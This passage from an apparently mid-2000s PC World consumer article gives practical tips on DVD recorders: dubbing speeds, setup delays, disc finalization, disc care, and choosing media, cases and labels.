Avid videophiles who don't want to spring for TiVo should look for a DVD set-top unit with a high-capacity hard drive of 80GB or more and high-speed dubbing of at least 8X. So far, I've seen only one recorder with both high-speed dubbing capability and a high-capacity hard drive, but I imagine that more such units will be forthcoming--eventually.
Beware of units that bill themselves as having "high-speed" dubbing: In most cases, the manufacturer is using the term to denote recording speeds of 2X or 4X from the hard drive to DVD. Furthermore, some vendors are coming up with absurd-sounding dubbing speeds--for example, 32X, a number they derive based on how many hours' worth of recordings you can fit on a disc (8 hours at the lowest-quality recording mode), and the speed of the burner (4X in my example).
Where to start your search? I recommend browsing PC World's latest "Top 10 DVD Drives" chart:
http://www.pcworld.com/reviews/article/0,aid,118249,tk,box,00.asp
2. Allow Extra Time
If you're preparing to record a program, budget a few extra minutes to get the unit ready. Believe me, the seconds add up--as I learned during my recording marathon of the Athens Olympiad. You need to factor in up to 30 seconds for the recorder to boot, about 10 to 20 seconds for the disc to spin up, and at least another 30 to 45 seconds for the recorder to prepare the disc for recording (your unit might say "initialize" or "format"). That's all before you can hit Record.
And when you're through recording, expect to wait 30 to 60 seconds to regain control of the recorder after you hit Stop. With some models, the delay occurs after you hit Eject. Either way, that delay could mean you'll miss the beginning of the next gymnast's routine--and none of this takes into account disc finalization, which can take another 30 seconds to 3 minutes, depending upon the disc's format and how much of it you've used.
3. Finalize, Finalize, Finalize
Disc finalization is the process that closes the disc so it can be read in other devices, such as a DVD player, DVD recorder, or DVD-ROM drive. It's also a process that bites. There, I've said it.
Finalization is the dirty little secret of DVD recorders: It's a time-consuming extra step that users of the venerable VCR don't expect. And it requires more effort than it should, due to poor menu design on DVD recorders. I've yet to see a recorder that makes this step truly easy--all of them bury it under a setup or menu item, and all of them require far too many clicks and layers considering this is a N-E-C-E-S-S-A-R-Y step for every write-once DVD-R or DVD+R you burn.
I recommend finalizing your disc as soon you're through recording. Due to quality issues, you'll likely record only a maximum of 2 hours of television per disc, which means that no more than two weeks will pass between finalization sessions. This way, when you go back to a recorded disc, it will be ready to play in any DVD player--whether it's the $30 Costco special in your bedroom or your laptop's DVD-ROM drive.
Caution: You might think you don't need to finalize if you don't have more than one DVD player or drive, and you plan on playing your DVD on your own recorder only. But what happens when, inevitably, you upgrade your recorder to a swankier, newer model? Or, even worse, when the model you're using now isn't working five years down the line? Then what? You'll be left with a library full of unreadable discs. Although you might be able to recover the raw video data from an unfinalized disc using a program like Infinadyne's CD/DVD Diagnostic, the process is tedious and time-consuming. Also, don't count on scavenging a backup unit off EBay in a few years: As I've learned, discs may not be interchangeable, even between two recorder decks bearing the same model number from the same manufacturer.
4. Don't Abuse Your Discs
It's easy to leave discs out of their cases, lying around or stacking up as you swap 'em out for a new one. But avoid that temptation--the dust will damage your discs, and you increase the chances of accidental scratches and scuffs.
Also, avoid leaving your recorded DVDs near a sunny window. The disc's dye layer is susceptible to light and heat; if either affects the disc, its data may become unreadable.
Finally, clean your discs carefully. Use a lint-free cloth, compressed air, or a liquid cleanser intended for use with DVD media. Dust and other airborne particles can scratch your disc, which could result in data loss. When cleaning with a lint-free cloth, stroke from the inside of the hub to the outside of the disc. Never use a circular motion from the inside out; and never use a tissue, paper towel, or other random rag.
For more on how to treat your discs, read
"Ten Tips for Durable DVDs":
http://www.pcworld.com/howto/article/0,aid,113716,tk,box,00.asp
5. Choose Your Media--and Labels--Wisely
A cheap spindle of media is tempting, but then you have to buy cases separately. And what cases to buy? Small plastic jewel cases? DVD movie-size cases? The combinations can be frustrating, at best.
Spindles are indeed affordable, but don't buy them without buying cases, too--and keep both stashed near your TV and DVD recorder setup, so you can easily grab a disc from the recorder and place it into its case. Otherwise, it's way too easy for stacks of discs to pile up--a no-no, as I note in tip 4.
Also, consider buying discs that come in oversized movie-style plastic cases. You'll pay a little more, but the convenience is worth it. Plus, you'll get a cardstock insert that you can use to create handwritten labels. If you get a high-speed dubbing unit, make sure you buy media that matches the recorder's speed.
If you do buy spindle media, keep in mind that the cases you buy in bulk may not have an insert on which you can scribble. If the case lack inserts, improvise with a piece of letter-size paper, folded over or cut up to fit accordingly. Spend a little more money, and you can get cardstock inserts.
There are a host of labeling software options out there to help you craft your labels. Read the following two "Burning Questions" columns for a comprehensive review of the subject:
"The Joy of Labeling":
http://www.pcworld.com/reviews/article/0,aid,114423,tk,box,00.asp
"Is Labeling Software Worth the Hassle?":
http://www.pcworld.com/reviews/article/0,aid,114848,tk,box,00.asp
But all of these options are going to require you to move your labeling operation over to the PC--something that may not work into your recording work flow.
Other PC-based labeling options include printable media that you can use with an inkjet printer. I'd stay away from adhesive labels, though: They're difficult to apply evenly, and could cause problems if the disc is poorly manufactured.
If you're trying to keep your labeling efforts nearer to your TV, I'd suggest using water-based pens to write on the discs, and on the label inserts, too, while you're at it. Another possibility: If your handwriting is barely better than chicken scrawl, then it's worth buying a battery-operated labeler, such as those offered by Brother or Casio. Both companies offer half-inch-wide labels that fit well along the spine of a DVD movie case.
